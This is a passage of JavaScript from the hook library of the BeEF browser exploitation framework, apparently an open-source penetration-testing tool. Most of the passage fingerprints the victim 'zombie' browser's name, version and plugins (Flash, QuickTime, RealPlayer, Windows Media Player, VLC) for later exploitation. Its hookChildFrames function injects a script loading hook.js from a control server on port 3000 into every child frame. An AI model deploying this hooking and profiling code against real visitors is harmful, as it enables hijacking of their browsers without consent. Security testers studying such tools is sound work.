  8018.             EP: this.isEpi(), // Epiphany any version
  8019.  
  8020.             S4: this.isS4(), // Safari 4.xx
  8021.             S5: this.isS5(), // Safari 5.xx
  8022.             S6: this.isS6(), // Safari 6.x
  8023.             S7: this.isS7(), // Safari 7.x
  8024.             S8: this.isS8(), // Safari 8.x
  8025.             S: this.isS()   // Safari any version
  8026.         }
  8027.     },
  8028.  
  8029.     /**
  8030.      * Returns the major version of the browser being used.
  8031.      * @return: {String} version number || 'UNKNOWN'.
  8032.      *
  8033.      * @example: beef.browser.getBrowserVersion()
  8034.      */
  8035.     getBrowserVersion: function () {
  8036.         if (this.isEdge()) {
  8037.           try {
  8038.             return platform.version;
  8039.           } catch(e) {
  8040.             return 'unknown';
  8041.           }
  8042.         }
  8043.         ;   // Microsoft Edge
  8044.  
  8045.         if (this.isC5()) {
  8046.             return '5'
  8047.         }
  8048.         ;   // Chrome 5
  8049.         if (this.isC6()) {
  8050.             return '6'
  8051.         }
  8052.         ;   // Chrome 6
  8053.         if (this.isC7()) {
  8054.             return '7'
  8055.         }
  8056.         ;   // Chrome 7
  8057.         if (this.isC8()) {
  8058.             return '8'
  8059.         }
  8060.         ;   // Chrome 8
  8061.         if (this.isC9()) {
  8062.             return '9'
  8063.         }
  8064.         ;   // Chrome 9
  8065.         if (this.isC10()) {
  8066.             return '10'
  8067.         }
  8068.         ;   // Chrome 10
  8069.         if (this.isC11()) {
  8070.             return '11'
  8071.         }
  8072.         ;   // Chrome 11
  8073.         if (this.isC12()) {
  8074.             return '12'
  8075.         }
  8076.         ;   // Chrome 12
  8077.         if (this.isC13()) {
  8078.             return '13'
  8079.         }
  8080.         ;   // Chrome 13
  8081.         if (this.isC14()) {
  8082.             return '14'
  8083.         }
  8084.         ;   // Chrome 14
  8085.         if (this.isC15()) {
  8086.             return '15'
  8087.         }
  8088.         ;   // Chrome 15
  8089.         if (this.isC16()) {
  8090.             return '16'
  8091.         }
  8092.         ;       // Chrome 16
  8093.         if (this.isC17()) {
  8094.             return '17'
  8095.         }
  8096.         ;       // Chrome 17
  8097.         if (this.isC18()) {
  8098.             return '18'
  8099.         }
  8100.         ;       // Chrome 18
  8101.         if (this.isC19()) {
  8102.             return '19'
  8103.         }
  8104.         ;       // Chrome 19
  8105.         if (this.isC19iOS()) {
  8106.             return '19'
  8107.         }
  8108.         ;   // Chrome 19 for iOS
  8109.         if (this.isC20()) {
  8110.             return '20'
  8111.         }
  8112.         ;       // Chrome 20
  8113.         if (this.isC20iOS()) {
  8114.             return '20'
  8115.         }
  8116.         ;   // Chrome 20 for iOS
  8117.         if (this.isC21()) {
  8118.             return '21'
  8119.         }
  8120.         ;       // Chrome 21
  8121.         if (this.isC21iOS()) {
  8122.             return '21'
  8123.         }
  8124.         ;   // Chrome 21 for iOS
  8125.         if (this.isC22()) {
  8126.             return '22'
  8127.         }
  8128.         ;    // Chrome 22
  8129.         if (this.isC22iOS()) {
  8130.             return '22'
  8131.         }
  8132.         ;   // Chrome 22 for iOS
  8133.         if (this.isC23()) {
  8134.             return '23'
  8135.         }
  8136.         ;    // Chrome 23
  8137.         if (this.isC23iOS()) {
  8138.             return '23'
  8139.         }
  8140.         ;   // Chrome 23 for iOS
  8141.         if (this.isC24()) {
  8142.             return '24'
  8143.         }
  8144.         ;    // Chrome 24
  8145.         if (this.isC24iOS()) {
  8146.             return '24'
  8147.         }
  8148.         ;   // Chrome 24 for iOS
  8149.         if (this.isC25()) {
  8150.             return '25'
  8151.         }
  8152.         ;    // Chrome 25
  8153.         if (this.isC25iOS()) {
  8154.             return '25'
  8155.         }
  8156.         ;   // Chrome 25 for iOS
  8157.         if (this.isC26()) {
  8158.             return '26'
  8159.         }
  8160.         ;    // Chrome 26
  8161.         if (this.isC26iOS()) {
  8162.             return '26'
  8163.         }
  8164.         ;   // Chrome 26 for iOS
  8165.         if (this.isC27()) {
  8166.             return '27'
  8167.         }
  8168.         ;    // Chrome 27
  8169.         if (this.isC27iOS()) {
  8170.             return '27'
  8171.         }
  8172.         ;   // Chrome 27 for iOS
  8173.         if (this.isC28()) {
  8174.             return '28'
  8175.         }
  8176.         ;    // Chrome 28
  8177.         if (this.isC28iOS()) {
  8178.             return '28'
  8179.         }
  8180.         ;   // Chrome 28 for iOS
  8181.         if (this.isC29()) {
  8182.             return '29'
  8183.         }
  8184.         ;    // Chrome 29
  8185.         if (this.isC29iOS()) {
  8186.             return '29'
  8187.         }
  8188.         ;   // Chrome 29 for iOS
  8189.         if (this.isC30()) {
  8190.             return '30'
  8191.         }
  8192.         ;    // Chrome 30
  8193.         if (this.isC30iOS()) {
  8194.             return '30'
  8195.         }
  8196.         ;   // Chrome 30 for iOS
  8197.         if (this.isC31()) {
  8198.             return '31'
  8199.         }
  8200.         ;   // Chrome 31
  8201.         if (this.isC31iOS()) {
  8202.             return '31'
  8203.         }
  8204.         ;   // Chrome 31 for iOS
  8205.         if (this.isC32()) {
  8206.             return '32'
  8207.         }
  8208.         ;   // Chrome 32
  8209.         if (this.isC32iOS()) {
  8210.             return '32'
  8211.         }
  8212.         ;   // Chrome 32 for iOS
  8213.         if (this.isC33()) {
  8214.             return '33'
  8215.         }
  8216.         ;   // Chrome 33
  8217.         if (this.isC33iOS()) {
  8218.             return '33'
  8219.         }
  8220.         ;   // Chrome 33 for iOS
  8221.         if (this.isC34()) {
  8222.             return '34'
  8223.         }
  8224.         ;   // Chrome 34
  8225.         if (this.isC34iOS()) {
  8226.             return '34'
  8227.         }
  8228.         ;   // Chrome 34 for iOS
  8229.         if (this.isC35()) {
  8230.             return '35'
  8231.         }
  8232.         ;   // Chrome 35
  8233.         if (this.isC35iOS()) {
  8234.             return '35'
  8235.         }
  8236.         ;   // Chrome 35 for iOS
  8237.         if (this.isC36()) {
  8238.             return '36'
  8239.         }
  8240.         ;   // Chrome 36
  8241.         if (this.isC36iOS()) {
  8242.             return '36'
  8243.         }
  8244.         ;   // Chrome 36 for iOS
  8245.         if (this.isC37()) {
  8246.             return '37'
  8247.         }
  8248.         ;   // Chrome 37
  8249.         if (this.isC37iOS()) {
  8250.             return '37'
  8251.         }
  8252.         ;   // Chrome 37 for iOS
  8253.         if (this.isC38()) {
  8254.             return '38'
  8255.         }
  8256.         ;   // Chrome 38
  8257.         if (this.isC38iOS()) {
  8258.             return '38'
  8259.         }
  8260.         ;   // Chrome 38 for iOS
  8261.         if (this.isC39()) {
  8262.             return '39'
  8263.         }
  8264.         ;   // Chrome 39
  8265.         if (this.isC39iOS()) {
  8266.             return '39'
  8267.         }
  8268.         ;   // Chrome 39 for iOS
  8269.         if (this.isC40()) {
  8270.             return '40'
  8271.         }
  8272.         ;   // Chrome 40
  8273.         if (this.isC40iOS()) {
  8274.             return '40'
  8275.         }
  8276.         ;   // Chrome 40 for iOS
  8277.         if (this.isC41()) {
  8278.             return '41'
  8279.         }
  8280.         ;   // Chrome 41
  8281.         if (this.isC41iOS()) {
  8282.             return '41'
  8283.         }
  8284.         ;   // Chrome 41 for iOS
  8285.         if (this.isC42()) {
  8286.             return '42'
  8287.         }
  8288.         ;   // Chrome 42
  8289.         if (this.isC42iOS()) {
  8290.             return '42'
  8291.         }
  8292.         ;   // Chrome 42 for iOS
  8293.         if (this.isC43()) {
  8294.             return '43'
  8295.         }
  8296.         ;   // Chrome 43
  8297.         if (this.isC43iOS()) {
  8298.             return '43'
  8299.         }
  8300.         ;   // Chrome 43 for iOS
  8301.         if (this.isC44()) {
  8302.             return '44'
  8303.         }
  8304.         ;   // Chrome 44
  8305.         if (this.isC44iOS()) {
  8306.             return '44'
  8307.         }
  8308.         ;   // Chrome 44 for iOS
  8309.         if (this.isC45()) {
  8310.             return '45'
  8311.         }
  8312.         ;   // Chrome 45
  8313.         if (this.isC45iOS()) {
  8314.             return '45'
  8315.         }
  8316.         ;   // Chrome 45 for iOS
  8317.         if (this.isC46()) {
  8318.             return '46'
  8319.         }
  8320.         ;// Chrome 46
  8321.         if (this.isC46iOS()) {
  8322.             return '46'
  8323.         }
  8324.         ;   // Chrome 46 for iOS
  8325.         if (this.isC47()) {
  8326.             return '47'
  8327.         }
  8328.         ;// Chrome 47
  8329.         if (this.isC47iOS()) {
  8330.             return '47'
  8331.         }
  8332.         ;   // Chrome 47 for iOS
  8333.         if (this.isC48()) {
  8334.             return '48'
  8335.         }
  8336.         ;// Chrome 48
  8337.         if (this.isC48iOS()) {
  8338.             return '48'
  8339.         }
  8340.         ;   // Chrome 48 for iOS
  8341.         if (this.isC49()) {
  8342.             return '49'
  8343.         }
  8344.         ;// Chrome 49
  8345.         if (this.isC49iOS()) {
  8346.             return '49'
  8347.         }
  8348.         ;   // Chrome 49 for iOS
  8349.         if (this.isC50()) {
  8350.             return '50'
  8351.         }
  8352.         ;// Chrome 50
  8353.         if (this.isC50iOS()) {
  8354.             return '50'
  8355.         }
  8356.         ;   // Chrome 50 for iOS
  8357.         if (this.isC51()) {
  8358.             return '51'
  8359.         }
  8360.         ;// Chrome 51
  8361.         if (this.isC51iOS()) {
  8362.             return '51'
  8363.         }
  8364.         ;   // Chrome 51 for iOS
  8365.         if (this.isC52()) {
  8366.             return '52'
  8367.         }
  8368.         ;// Chrome 52
  8369.         if (this.isC52iOS()) {
  8370.             return '52'
  8371.         }
  8372.         ;   // Chrome 52 for iOS
  8373.         if (this.isC53()) {
  8374.             return '53'
  8375.         }
  8376.         ;// Chrome 53
  8377.         if (this.isC53iOS()) {
  8378.             return '53'
  8379.         }
  8380.         ;   // Chrome 53 for iOS
  8381.         if (this.isC54()) {
  8382.             return '54'
  8383.         }
  8384.         ;// Chrome 54
  8385.         if (this.isC54iOS()) {
  8386.             return '54'
  8387.         }
  8388.         ;   // Chrome 54 for iOS
  8389.         if (this.isC55()) {
  8390.             return '55'
  8391.         }
  8392.         ;// Chrome 55
  8393.         if (this.isC55iOS()) {
  8394.             return '55'
  8395.         }
  8396.         ;   // Chrome 55 for iOS
  8397.         if (this.isC56()) {
  8398.             return '56'
  8399.         }
  8400.         ;// Chrome 56
  8401.         if (this.isC56iOS()) {
  8402.             return '56'
  8403.         }
  8404.         ;   // Chrome 56 for iOS
  8405.         if (this.isC57()) {
  8406.             return '57'
  8407.         }
  8408.         ;// Chrome 57
  8409.         if (this.isC57iOS()) {
  8410.             return '57'
  8411.         }
  8412.         ;   // Chrome 57 for iOS
  8413.         if (this.isC58()) {
  8414.             return '58'
  8415.         }
  8416.         ;// Chrome 58
  8417.         if (this.isC58iOS()) {
  8418.             return '58'
  8419.         }
  8420.         ;   // Chrome 58 for iOS
  8421.  
  8422.  
  8423.         if (this.isFF2()) {
  8424.             return '2'
  8425.         }
  8426.         ;       // Firefox 2
  8427.         if (this.isFF3()) {
  8428.             return '3'
  8429.         }
  8430.         ;       // Firefox 3
  8431.         if (this.isFF3_5()) {
  8432.             return '3.5'
  8433.         }
  8434.         ;       // Firefox 3.5
  8435.         if (this.isFF3_6()) {
  8436.             return '3.6'
  8437.         }
  8438.         ;       // Firefox 3.6
  8439.         if (this.isFF4()) {
  8440.             return '4'
  8441.         }
  8442.         ;       // Firefox 4
  8443.         if (this.isFF5()) {
  8444.             return '5'
  8445.         }
  8446.         ;       // Firefox 5
  8447.         if (this.isFF6()) {
  8448.             return '6'
  8449.         }
  8450.         ;       // Firefox 6
  8451.         if (this.isFF7()) {
  8452.             return '7'
  8453.         }
  8454.         ;       // Firefox 7
  8455.         if (this.isFF8()) {
  8456.             return '8'
  8457.         }
  8458.         ;       // Firefox 8
  8459.         if (this.isFF9()) {
  8460.             return '9'
  8461.         }
  8462.         ;       // Firefox 9
  8463.         if (this.isFF10()) {
  8464.             return '10'
  8465.         }
  8466.         ;       // Firefox 10
  8467.         if (this.isFF11()) {
  8468.             return '11'
  8469.         }
  8470.         ;       // Firefox 11
  8471.         if (this.isFF12()) {
  8472.             return '12'
  8473.         }
  8474.         ;       // Firefox 12
  8475.         if (this.isFF13()) {
  8476.             return '13'
  8477.         }
  8478.         ;       // Firefox 13
  8479.         if (this.isFF14()) {
  8480.             return '14'
  8481.         }
  8482.         ;       // Firefox 14
  8483.         if (this.isFF15()) {
  8484.             return '15'
  8485.         }
  8486.         ;       // Firefox 15
  8487.         if (this.isFF16()) {
  8488.             return '16'
  8489.         }
  8490.         ;       // Firefox 16
  8491.         if (this.isFF17()) {
  8492.             return '17'
  8493.         }
  8494.         ;    // Firefox 17
  8495.         if (this.isFF18()) {
  8496.             return '18'
  8497.         }
  8498.         ;    // Firefox 18
  8499.         if (this.isFF19()) {
  8500.             return '19'
  8501.         }
  8502.         ;    // Firefox 19
  8503.         if (this.isFF20()) {
  8504.             return '20'
  8505.         }
  8506.         ;    // Firefox 20
  8507.         if (this.isFF21()) {
  8508.             return '21'
  8509.         }
  8510.         ;    // Firefox 21
  8511.         if (this.isFF22()) {
  8512.             return '22'
  8513.         }
  8514.         ;   // Firefox 22
  8515.         if (this.isFF23()) {
  8516.             return '23'
  8517.         }
  8518.         ;   // Firefox 23
  8519.         if (this.isFF24()) {
  8520.             return '24'
  8521.         }
  8522.         ;   // Firefox 24
  8523.         if (this.isFF25()) {
  8524.             return '25'
  8525.         }
  8526.         ;   // Firefox 25
  8527.         if (this.isFF26()) {
  8528.             return '26'
  8529.         }
  8530.         ;   // Firefox 26
  8531.         if (this.isFF27()) {
  8532.             return '27'
  8533.         }
  8534.         ;   // Firefox 27
  8535.         if (this.isFF28()) {
  8536.             return '28'
  8537.         }
  8538.         ;   // Firefox 28
  8539.         if (this.isFF29()) {
  8540.             return '29'
  8541.         }
  8542.         ;   // Firefox 29
  8543.         if (this.isFF30()) {
  8544.             return '30'
  8545.         }
  8546.         ;   // Firefox 30
  8547.         if (this.isFF31()) {
  8548.             return '31'
  8549.         }
  8550.         ;   // Firefox 31
  8551.         if (this.isFF32()) {
  8552.             return '32'
  8553.         }
  8554.         ;   // Firefox 32
  8555.         if (this.isFF33()) {
  8556.             return '33'
  8557.         }
  8558.         ;   // Firefox 33
  8559.         if (this.isFF34()) {
  8560.             return '34'
  8561.         }
  8562.         ;   // Firefox 34
  8563.         if (this.isFF35()) {
  8564.             return '35'
  8565.         }
  8566.         ;   // Firefox 35
  8567.         if (this.isFF36()) {
  8568.             return '36'
  8569.         }
  8570.         ;   // Firefox 36
  8571.         if (this.isFF37()) {
  8572.             return '37'
  8573.         }
  8574.         ;   // Firefox 37
  8575.         if (this.isFF38()) {
  8576.             return '38'
  8577.         }
  8578.         ;   // Firefox 38
  8579.         if (this.isFF39()) {
  8580.             return '39'
  8581.         }
  8582.         ;   // Firefox 39
  8583.         if (this.isFF40()) {
  8584.             return '40'
  8585.         }
  8586.         ;   // Firefox 40
  8587.         if (this.isFF41()) {
  8588.             return '41'
  8589.         }
  8590.         ;   // Firefox 41
  8591.         if (this.isFF42()) {
  8592.             return '42'
  8593.         }
  8594.         ;   // Firefox 42
  8595.         if (this.isFF43()) {
  8596.             return '43'
  8597.         }
  8598.         ;   // Firefox 43
  8599.         if (this.isFF44()) {
  8600.             return '44'
  8601.         }
  8602.         ;   // Firefox 44
  8603.         if (this.isFF45()) {
  8604.             return '45'
  8605.         }
  8606.         ;   // Firefox 45
  8607.         if (this.isFF46()) {
  8608.             return '46'
  8609.         }
  8610.         ;   // Firefox 46
  8611.         if (this.isFF47()) {
  8612.             return '47'
  8613.         }
  8614.         ;   // Firefox 47
  8615.         if (this.isFF48()) {
  8616.             return '48'
  8617.         }
  8618.         ;   // Firefox 48
  8619.         if (this.isFF49()) {
  8620.             return '49'
  8621.         }
  8622.         ;   // Firefox 49
  8623.         if (this.isFF50()) {
  8624.             return '50'
  8625.         }
  8626.         ;   // Firefox 50
  8627.         if (this.isFF51()) {
  8628.             return '51'
  8629.         }
  8630.         ;   // Firefox 51
  8631.         if (this.isFF52()) {
  8632.             return '52'
  8633.         }
  8634.         ;   // Firefox 52
  8635.         if (this.isFF53()) {
  8636.             return '53'
  8637.         }
  8638.         ;   // Firefox 53
  8639.         if (this.isFF54()) {
  8640.             return '54'
  8641.         }
  8642.         ;   // Firefox 54
  8643.         if (this.isFF55()) {
  8644.             return '55'
  8645.         }
  8646.         ;   // Firefox 55
  8647.         if (this.isFF56()) {
  8648.             return '56'
  8649.         }
  8650.         ;   // Firefox 56
  8651.         if (this.isFF57()) {
  8652.             return '57'
  8653.         }
  8654.         ;   // Firefox 57
  8655.         if (this.isFF58()) {
  8656.             return '58'
  8657.         }
  8658.         ;   // Firefox 58
  8659.         if (this.isFF59()) {
  8660.             return '59'
  8661.         }
  8662.         ;   // Firefox 59
  8663.         if (this.isFF60()) {
  8664.             return '60'
  8665.         }
  8666.         ;   // Firefox 60
  8667.         if (this.isFF61()) {
  8668.             return '61'
  8669.         }
  8670.         ;   // Firefox 61
  8671.         if (this.isFF62()) {
  8672.             return '62'
  8673.         }
  8674.         ;   // Firefox 62
  8675.         if (this.isFF63()) {
  8676.             return '63'
  8677.         }
  8678.         ;   // Firefox 63
  8679.         if (this.isFF64()) {
  8680.             return '64'
  8681.         }
  8682.         ;   // Firefox 64
  8683.         if (this.isFF65()) {
  8684.             return '65'
  8685.         }
  8686.         ;   // Firefox 65
  8687.         if (this.isFF66()) {
  8688.             return '66'
  8689.         }
  8690.         ;   // Firefox 66
  8691.         if (this.isFF67()) {
  8692.             return '67'
  8693.         }
  8694.         ;   // Firefox 67
  8695.         if (this.isFF68()) {
  8696.             return '68'
  8697.         }
  8698.         ;   // Firefox 68
  8699.         if (this.isFF69()) {
  8700.             return '69'
  8701.         }
  8702.         ;   // Firefox 69
  8703.         if (this.isFF70()) {
  8704.             return '70'
  8705.         }
  8706.         ;   // Firefox 70
  8707.         if (this.isFF71()) {
  8708.             return '71'
  8709.         }
  8710.         ;   // Firefox 71
  8711.         if (this.isFF72()) {
  8712.             return '72'
  8713.         }
  8714.         ;   // Firefox 72
  8715.         if (this.isFF73()) {
  8716.             return '73'
  8717.         }
  8718.         ;   // Firefox 73
  8719.         if (this.isFF74()) {
  8720.             return '74'
  8721.         }
  8722.         ;   // Firefox 74
  8723.         if (this.isFF75()) {
  8724.             return '75'
  8725.         }
  8726.         ;   // Firefox 75
  8727.         if (this.isFF76()) {
  8728.             return '76'
  8729.         }
  8730.         ;   // Firefox 76
  8731.         if (this.isFF77()) {
  8732.             return '77'
  8733.         }
  8734.         ;   // Firefox 77
  8735.         if (this.isFF78()) {
  8736.             return '78'
  8737.         }
  8738.         ;   // Firefox 78
  8739.         if (this.isFF79()) {
  8740.             return '79'
  8741.         }
  8742.         ;   // Firefox 79
  8743.         if (this.isFF80()) {
  8744.             return '80'
  8745.         }
  8746.         ;   // Firefox 80
  8747.         if (this.isFF81()) {
  8748.             return '81'
  8749.         }
  8750.         ;   // Firefox 81
  8751.         if (this.isFF82()) {
  8752.             return '82'
  8753.         }
  8754.         ;   // Firefox 82
  8755.         if (this.isFF83()) {
  8756.             return '83'
  8757.         }
  8758.         ;   // Firefox 83
  8759.         if (this.isFF84()) {
  8760.             return '84'
  8761.         }
  8762.         ;   // Firefox 84
  8763.         if (this.isFF85()) {
  8764.             return '85'
  8765.         }
  8766.         ;   // Firefox 85
  8767.         if (this.isFF86()) {
  8768.             return '86'
  8769.         }
  8770.         ;   // Firefox 86
  8771.         if (this.isFF87()) {
  8772.             return '87'
  8773.         }
  8774.         ;   // Firefox 87
  8775.         if (this.isFF88()) {
  8776.             return '88'
  8777.         }
  8778.         ;   // Firefox 88
  8779.         if (this.isFF89()) {
  8780.             return '89'
  8781.         }
  8782.         ;   // Firefox 89
  8783.         if (this.isFF90()) {
  8784.             return '90'
  8785.         }
  8786.         ;   // Firefox 90
  8787.         if (this.isFF91()) {
  8788.             return '91'
  8789.         }
  8790.         ;   // Firefox 91
  8791.         if (this.isFF92()) {
  8792.             return '92'
  8793.         }
  8794.         ;   // Firefox 92
  8795.         if (this.isFF93()) {
  8796.             return '93'
  8797.         }
  8798.         ;   // Firefox 93
  8799.         if (this.isFF94()) {
  8800.             return '94'
  8801.         }
  8802.         ;   // Firefox 94
  8803.         if (this.isFF95()) {
  8804.             return '95'
  8805.         }
  8806.         ;   // Firefox 95
  8807.         if (this.isFF96()) {
  8808.             return '96'
  8809.         }
  8810.         ;   // Firefox 96
  8811.         if (this.isFF97()) {
  8812.             return '97'
  8813.         }
  8814.         ;   // Firefox 97
  8815.         if (this.isFF98()) {
  8816.             return '98'
  8817.         }
  8818.         ;   // Firefox 98
  8819.         if (this.isFF99()) {
  8820.             return '99'
  8821.         }
  8822.         ;   // Firefox 99
  8823.  
  8824.         if (this.isIE6()) {
  8825.             return '6'
  8826.         }
  8827.         ;       // Internet Explorer 6
  8828.         if (this.isIE7()) {
  8829.             return '7'
  8830.         }
  8831.         ;       // Internet Explorer 7
  8832.         if (this.isIE8()) {
  8833.             return '8'
  8834.         }
  8835.         ;       // Internet Explorer 8
  8836.         if (this.isIE9()) {
  8837.             return '9'
  8838.         }
  8839.         ;       // Internet Explorer 9
  8840.         if (this.isIE10()) {
  8841.             return '10'
  8842.         }
  8843.         ;       // Internet Explorer 10
  8844.         if (this.isIE11()) {
  8845.             return '11'
  8846.         }
  8847.         ;   // Internet Explorer 11
  8848.  
  8849.         if (this.isEdge()) {
  8850.             return '1'
  8851.         }
  8852.         ;   // Microsoft Edge
  8853.  
  8854.         if (this.isEpi()) {
  8855.             // believe the UserAgent string for version info - until whenever
  8856.             var epiphanyRe = /Epiphany\/(\d+)/;
  8857.             var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
  8858.             if (versionDetails.length > 1) {
  8859.                 return versionDetails[1];
  8860.             } else {
  8861.                 return "UNKNOWN"; // returns from here or it may take Safari version details
  8862.             }
  8863.         }
  8864.         ;                       // Epiphany
  8865.  
  8866.         if (this.isS4()) {
  8867.             return '4'
  8868.         }
  8869.         ;       // Safari 4
  8870.         if (this.isS5()) {
  8871.             return '5'
  8872.         }
  8873.         ;       // Safari 5
  8874.         if (this.isS6()) {
  8875.             return '6'
  8876.         }
  8877.         ;       // Safari 6
  8878.  
  8879.         if (this.isS7()) {
  8880.             return '7'
  8881.         }
  8882.         ;       // Safari 7
  8883.         if (this.isS8()) {
  8884.             return '8'
  8885.         }
  8886.         ;       // Safari 8
  8887.  
  8888.         if (this.isO9_52()) {
  8889.             return '9.5'
  8890.         }
  8891.         ;       // Opera 9.5x
  8892.         if (this.isO9_60()) {
  8893.             return '9.6'
  8894.         }
  8895.         ;       // Opera 9.6
  8896.         if (this.isO10()) {
  8897.             return '10'
  8898.         }
  8899.         ;       // Opera 10.xx
  8900.         if (this.isO11()) {
  8901.             return '11'
  8902.         }
  8903.         ;       // Opera 11.xx
  8904.         if (this.isO12()) {
  8905.             return '12'
  8906.         }
  8907.         ;       // Opera 12.xx
  8908.  
  8909.         // platform.js
  8910.         try {
  8911.           var version = platform.version;
  8912.           if (!!version)
  8913.             return version;
  8914.         } catch (e) {}
  8915.  
  8916.         return 'UNKNOWN';                               // Unknown UA
  8917.     },
  8918.  
  8919.     /**
  8920.      * Returns the type of user agent by hooked browser.
  8921.      * @return: {String} User agent software.
  8922.      *
  8923.      * @example: beef.browser.getBrowserName()
  8924.      */
  8925.     getBrowserName: function () {
  8926.         if (this.isEdge()) {
  8927.             return 'E'
  8928.         }
  8929.         ;       // Microsoft Edge any version
  8930.         if (this.isC()) {
  8931.             return 'C'
  8932.         }
  8933.         ;   // Chrome any version
  8934.         if (this.isFF()) {
  8935.             return 'FF'
  8936.         }
  8937.         ;               // Firefox any version
  8938.         if (this.isIE()) {
  8939.             return 'IE'
  8940.         }
  8941.         ;               // Internet Explorer any version
  8942.         if (this.isO()) {
  8943.             return 'O'
  8944.         }
  8945.         ;               // Opera any version
  8946.         if (this.isEpi()) {
  8947.             return 'EP'
  8948.         }
  8949.         ;                       // Epiphany any version
  8950.         if (this.isS()) {
  8951.             return 'S'
  8952.         }
  8953.         ;               // Safari any version
  8954.         if (this.isA()) {
  8955.             return 'A'
  8956.         }
  8957.         ;               // Avant any version
  8958.         if (this.isMidori()) {
  8959.             return 'MI'
  8960.         }
  8961.         ;               // Midori any version
  8962.         if (this.isOdyssey()) {
  8963.             return 'OD'
  8964.         }
  8965.         ;               // Odyssey any version
  8966.         if (this.isBrave()) {
  8967.             return 'BR'
  8968.         }
  8969.         ;               // Brave any version
  8970.         return 'UNKNOWN';       // Unknown UA
  8971.     },
  8972.  
  8973.     /**
  8974.      * Hooks all child frames in the current window
  8975.      * Restricted by same-origin policy
  8976.      */
  8977.     hookChildFrames: function () {
  8978.  
  8979.         // create script object
  8980.         var script = document.createElement('script');
  8981.         script.type = 'text/javascript';
  8982.         script.src = 'http://127.0.0.1:3000/hook.js';
  8983.  
  8984.         // loop through child frames
  8985.         for (var i = 0; i < self.frames.length; i++) {
  8986.             try {
  8987.                 // append hook script
  8988.                 self.frames[i].document.body.appendChild(script);
  8989.                 beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
  8990.             } catch (e) {
  8991.                 // warn on cross-origin
  8992.                 beef.debug("Hooking child frame failed: " + e.message);
  8993.             }
  8994.         }
  8995.     },
  8996.  
  8997.     /**
  8998.      * Checks if the zombie has flash installed and enabled.
  8999.      * @return: {Boolean} true or false.
  9000.      *
  9001.      * @example: if(beef.browser.hasFlash()) { ... }
  9002.      */
  9003.     hasFlash: function () {
  9004.       if (!beef.browser.isIE()) {
  9005.         return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
  9006.       }
  9007.  
  9008.       if (!!navigator.plugins) {
  9009.         return (navigator.plugins["Shockwave Flash"] != undefined);
  9010.       }
  9011.  
  9012.       // IE
  9013.       var flash_versions = 12;
  9014.       if (window.ActiveXObject != null) {
  9015.         for (x = 2; x <= flash_versions; x++) {
  9016.           try {
  9017.             Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
  9018.             if (Flash) {
  9019.               return true;
  9020.             }
  9021.           } catch (e) {
  9022.             beef.debug("Creating Flash ActiveX object failed: " + e.message);
  9023.           }
  9024.         }
  9025.       }
  9026.  
  9027.       return false;
  9028.     },
  9029.  
  9030.     /**
  9031.      * Checks if the zombie has the QuickTime plugin installed.
  9032.      * @return: {Boolean} true or false.
  9033.      *
  9034.      * @example: if ( beef.browser.hasQuickTime() ) { ... }
  9035.      */
  9036.     hasQuickTime: function () {
  9037.         if (!!navigator.plugins) {
  9038.             for (i = 0; i < navigator.plugins.length; i++) {
  9039.                 if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
  9040.                     return true;
  9041.                 }
  9042.             }
  9043.         }
  9044.  
  9045.         // IE
  9046.         try {
  9047.           var qt_test = new ActiveXObject('QuickTime.QuickTime');
  9048.           if (qt_test) {
  9049.             return true;
  9050.           }
  9051.         } catch (e) {
  9052.           beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
  9053.         }
  9054.  
  9055.         return false;
  9056.     },
  9057.  
  9058.     /**
  9059.      * Checks if the zombie has the RealPlayer plugin installed.
  9060.      * @return: {Boolean} true or false.
  9061.      *
  9062.      * @example: if ( beef.browser.hasRealPlayer() ) { ... }
  9063.      */
  9064.     hasRealPlayer: function () {
  9065.  
  9066.         if (!!navigator.plugins) {
  9067.           for (i = 0; i < navigator.plugins.length; i++) {
  9068.             if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
  9069.               return true;
  9070.             }
  9071.           }
  9072.         }
  9073.  
  9074.         // IE
  9075.         var definedControls = [
  9076.           'RealPlayer',
  9077.           'rmocx.RealPlayer G2 Control',
  9078.           'rmocx.RealPlayer G2 Control.1',
  9079.           'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  9080.           'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
  9081.         ];
  9082.  
  9083.         for (var i = 0; i < definedControls.length; i++) {
  9084.           try {
  9085.             var rp_test = new ActiveXObject(definedControls[i]);
  9086.             if (rp_test) {
  9087.               return true;
  9088.             }
  9089.           } catch (e) {
  9090.             beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
  9091.           }
  9092.         }
  9093.  
  9094.         return false;
  9095.     },
  9096.  
  9097.     /**
  9098.      * Checks if the zombie has the Windows Media Player plugin installed.
  9099.      * @return: {Boolean} true or false.
  9100.      *
  9101.      * @example: if ( beef.browser.hasWMP() ) { ... }
  9102.      */
  9103.     hasWMP: function () {
  9104.       if (!!navigator.plugins) {
  9105.         for (i = 0; i < navigator.plugins.length; i++) {
  9106.           if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
  9107.             return true;
  9108.           }
  9109.         }
  9110.       }
  9111.  
  9112.       // IE
  9113.       try {
  9114.         var wmp_test = new ActiveXObject('WMPlayer.OCX');
  9115.         if (wmp_test) {
  9116.           return true;
  9117.         }
  9118.       } catch (e) {
  9119.         beef.debug("Creating WMP ActiveX object failed: " + e.message);
  9120.       }
  9121.  
  9122.       return false;
  9123.     },
  9124.  
  9125.     /**
  9126.      *  Checks if VLC is installed
  9127.      *  @return: {Boolean} true or false
  9128.      **/
  9129.     hasVLC: function () {
  9130.       if (beef.browser.isIE() || beef.browser.isEdge()) {
  9131.         try {
  9132.           control = new ActiveXObject("VideoLAN.VLCPlugin.2");
  9133.           return true;
  9134.         } catch (e) {
  9135.           beef.debug("Creating VLC ActiveX object failed: " + e.message);
  9136.         }
  9137.       } else {
  9138.         for (i = 0; i < navigator.plugins.length; i++) {
  9139.           if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
  9140.             return true;
  9141.           }
  9142.         }
  9143.       }
  9144.       return false;
  9145.     },
  9146.  
  9147.     /**
  9148.      * Checks if the zombie has Java enabled.
  9149.      * @return: {Boolean} true or false.
  9150.      *
  9151.      * @example: if(beef.browser.javaEnabled()) { ... }
